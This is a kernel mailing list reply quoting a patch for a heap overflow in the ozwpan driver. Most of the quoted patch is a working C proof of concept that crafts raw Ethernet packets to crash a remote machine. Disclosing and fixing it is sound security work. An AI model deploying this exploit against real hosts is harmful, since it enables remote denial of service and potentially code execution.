Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow

[Greg Kroah-Hartman <gregkh () linuxfoundation org>]

On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote:
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
>
> This could result in remote code execution. A PoC which obtains DoS
> follows below. It requires the ozprotocol.h file from this module.
>
> =-=-=-=-=-=
>
>  #include <arpa/inet.h>
>  #include <linux/if_packet.h>
>  #include <net/if.h>
>  #include <netinet/ether.h>
>  #include <stdio.h>
>  #include <string.h>
>  #include <stdlib.h>
>  #include <endian.h>
>  #include <sys/ioctl.h>
>  #include <sys/socket.h>
>
>  #define u8 uint8_t
>  #define u16 uint16_t
>  #define u32 uint32_t
>  #define __packed __attribute__((__packed__))
>  #include "ozprotocol.h"
>
> static int hex2num(char c)
> {
>       if (c >= '0' && c <= '9')
>               return c - '0';
>       if (c >= 'a' && c <= 'f')
>               return c - 'a' + 10;
>       if (c >= 'A' && c <= 'F')
>               return c - 'A' + 10;
>       return -1;
> }
> static int hwaddr_aton(const char *txt, uint8_t *addr)
> {
>       int i;
>       for (i = 0; i < 6; i++) {
>               int a, b;
>               a = hex2num(*txt++);
>               if (a < 0)
>                       return -1;
>               b = hex2num(*txt++);
>               if (b < 0)
>                       return -1;
>               *addr++ = (a << 4) | b;
>               if (i < 5 && *txt++ != ':')
>                       return -1;
>       }
>       return 0;
> }
>
> int main(int argc, char *argv[])
> {
>       if (argc < 3) {
>               fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
>               return 1;
>       }
>
>       uint8_t dest_mac[6];
>       if (hwaddr_aton(argv[2], dest_mac)) {
>               fprintf(stderr, "Invalid mac address.\n");
>               return 1;
>       }
>
>       int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
>       if (sockfd < 0) {
>               perror("socket");
>               return 1;
>       }
>
>       struct ifreq if_idx;
>       int interface_index;
>       strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
>       if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
>               perror("SIOCGIFINDEX");
>               return 1;
>       }
>       interface_index = if_idx.ifr_ifindex;
>       if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
>               perror("SIOCGIFHWADDR");
>               return 1;
>       }
>       uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
>
>       struct {
>               struct ether_header ether_header;
>               struct oz_hdr oz_hdr;
>               struct oz_elt oz_elt;
>               struct oz_elt_connect_req oz_elt_connect_req;
>       } __packed connect_packet = {
>               .ether_header = {
>                       .ether_type = htons(OZ_ETHERTYPE),
>                       .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
>                       .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
>               },
>               .oz_hdr = {
>                       .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
>                       .last_pkt_num = 0,
>                       .pkt_num = htole32(0)
>               },
>               .oz_elt = {
>                       .type = OZ_ELT_CONNECT_REQ,
>                       .length = sizeof(struct oz_elt_connect_req)
>               },
>               .oz_elt_connect_req = {
>                       .mode = 0,
>                       .resv1 = {0},
>                       .pd_info = 0,
>                       .session_id = 0,
>                       .presleep = 35,
>                       .ms_isoc_latency = 0,
>                       .host_vendor = 0,
>                       .keep_alive = 0,
>                       .apps = htole16((1 << OZ_APPID_USB) | 0x1),
>                       .max_len_div16 = 0,
>                       .ms_per_isoc = 0,
>                       .up_audio_buf = 0,
>                       .ms_per_elt = 0
>               }
>       };
>
>       struct {
>               struct ether_header ether_header;
>               struct oz_hdr oz_hdr;
>               struct oz_elt oz_elt;
>               struct oz_get_desc_rsp oz_get_desc_rsp;
>       } __packed pwn_packet = {
>               .ether_header = {
>                       .ether_type = htons(OZ_ETHERTYPE),
>                       .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
>                       .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
>               },
>               .oz_hdr = {
>                       .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
>                       .last_pkt_num = 0,
>                       .pkt_num = htole32(1)
>               },
>               .oz_elt = {
>                       .type = OZ_ELT_APP_DATA,
>                       .length = sizeof(struct oz_get_desc_rsp) - 2
>               },
>               .oz_get_desc_rsp = {
>                       .app_id = OZ_APPID_USB,
>                       .elt_seq_num = 0,
>                       .type = OZ_GET_DESC_RSP,
>                       .req_id = 0,
>                       .offset = htole16(0),
>                       .total_size = htole16(0),
>                       .rcode = 0,
>                       .data = {0}
>               }
>       };
>
>       struct sockaddr_ll socket_address = {
>               .sll_ifindex = interface_index,
>               .sll_halen = ETH_ALEN,
>               .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
>       };
>
>       if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, 
> sizeof(socket_address)) < 0) {
>               perror("sendto");
>               return 1;
>       }
>       usleep(300000);
>       if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, 
> sizeof(socket_address)) < 0) {
>               perror("sendto");
>               return 1;
>       }
>       return 0;
> }
>
> Signed-off-by: Jason A. Donenfeld <Jason () zx2c4 com>
> ---
>  drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
>  1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
>       case OZ_GET_DESC_RSP: {
>                       struct oz_get_desc_rsp *body =
>                               (struct oz_get_desc_rsp *)usb_hdr;
> -                     int data_len = elt->length -
> +                     u8 data_len = elt->length -
>                                       sizeof(struct oz_get_desc_rsp) + 1;
> +                     if (data_len > elt->length)
> +                             break;
>                       u16 offs = le16_to_cpu(get_unaligned(&body->offset));
>                       u16 total_size =
>                               le16_to_cpu(get_unaligned(&body->total_size));

This patch adds a build warning.  Please fix it up and resend the
series.

thanks,

greg k-h